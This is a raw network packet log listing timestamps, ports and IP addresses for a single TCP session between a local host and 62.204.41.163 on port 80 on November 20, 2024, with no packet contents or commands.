Nov 20, 2024 07:48:08.507977962 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507996082 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508012056 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508014917 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508045912 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508076906 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508081913 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508083105 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508117914 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508147001 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508198977 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508202076 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508232117 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508244991 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508265972 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508284092 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508304119 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508306026 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508347988 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508353949 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508380890 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508393049 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508414984 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508425951 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508449078 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508461952 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508481979 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508492947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508517981 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508547068 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508552074 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508577108 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508583069 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508595943 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508619070 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508651972 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508651972 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508658886 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508686066 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508713961 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508718014 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508749962 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508750916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.508764982 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.508793116 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.513853073 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.513884068 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.513911009 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.513933897 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.513936996 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.513969898 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.513978958 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514003038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514008045 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514054060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514056921 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514086962 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514105082 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514122009 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514130116 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514158010 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514169931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514190912 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514224052 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514226913 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514257908 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514259100 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514265060 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514292955 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514301062 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514324903 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514333010 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514367104 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514367104 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514408112 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514425993 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514452934 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514467955 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514488935 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514491081 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514575958 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514585972 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514630079 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514631033 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514681101 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514683008 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514713049 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514724970 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514749050 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514761925 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514782906 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514792919 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514816046 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514837027 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514848948 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514862061 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514883995 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514925003 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.514986038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.514993906 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.515021086 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.515028954 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.515055895 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.515069008 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.515089989 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.515099049 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.515121937 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.515135050 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.515163898 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.515171051 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.515198946 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.515203953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.515256882 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554487944 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554574966 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554609060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554615974 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554641962 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554665089 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554676056 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554701090 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554728031 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554737091 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554758072 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554790974 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554796934 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554825068 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554857016 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554867029 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554873943 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554918051 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554920912 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554951906 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554975033 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.554985046 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.554994106 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555020094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555037975 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555048943 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555062056 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555124998 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555141926 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555159092 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555169106 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555190086 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555202007 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555233002 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555243015 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555275917 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555294037 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555310011 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555341005 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555349112 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555406094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555438995 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555458069 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555473089 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555485964 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555506945 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.555524111 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.555553913 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594105959 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594185114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594238997 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594271898 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594302893 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594331980 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594355106 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594356060 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594388962 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594389915 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594430923 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594440937 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594443083 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594476938 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594490051 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594511032 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594521046 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594544888 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594563961 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594599009 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594599009 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594631910 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594665051 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594666004 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594685078 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594696999 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594715118 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594753027 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594769955 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594824076 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594827890 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594857931 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594887972 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594893932 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594907999 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594926119 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594944954 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.594971895 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.594994068 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595001936 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595041037 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595074892 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595129013 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595176935 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595191002 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595227957 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595253944 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595262051 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595278978 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595297098 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595318079 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595351934 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595355988 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595408916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595417023 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595443964 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595464945 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595477104 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595489979 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595510006 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595529079 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595568895 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595572948 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595627069 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595629930 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595659971 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595676899 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595695019 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595707893 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595729113 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595761061 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595789909 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595804930 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595840931 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595860004 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595875025 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595902920 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595925093 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.595933914 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.595962048 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596010923 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596029043 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596051931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596060038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596071005 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596079111 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596106052 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596112013 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596138954 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596164942 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596173048 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596204042 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596244097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596257925 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596292019 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596295118 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596312046 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596329927 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596343994 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596380949 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596385956 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596415043 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596437931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596450090 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596462965 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596482992 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596498013 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596533060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596537113 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596566916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596596956 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596615076 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596616983 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596651077 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596673012 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596682072 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596694946 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596715927 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596726894 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596766949 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596770048 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596823931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596870899 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596919060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596951962 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.596961975 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.596983910 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597002029 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597003937 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597039938 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597071886 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597095013 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597104073 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597125053 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597136021 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597161055 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597168922 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597182035 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597203016 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597234964 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597239971 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597260952 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597265005 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597280025 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597296000 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597316027 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597327948 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597343922 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597361088 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597377062 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597392082 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597415924 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597423077 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597434998 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597456932 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597471952 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597489119 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597502947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597522020 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597533941 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597554922 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597568989 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597589016 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597600937 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597624063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597634077 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597657919 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597671986 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597688913 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597702026 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597723007 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597739935 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597754955 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597767115 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597790003 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597800970 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597822905 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.597837925 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.597855091 CET	80	49730	62.204.41.163	192.168.2.4
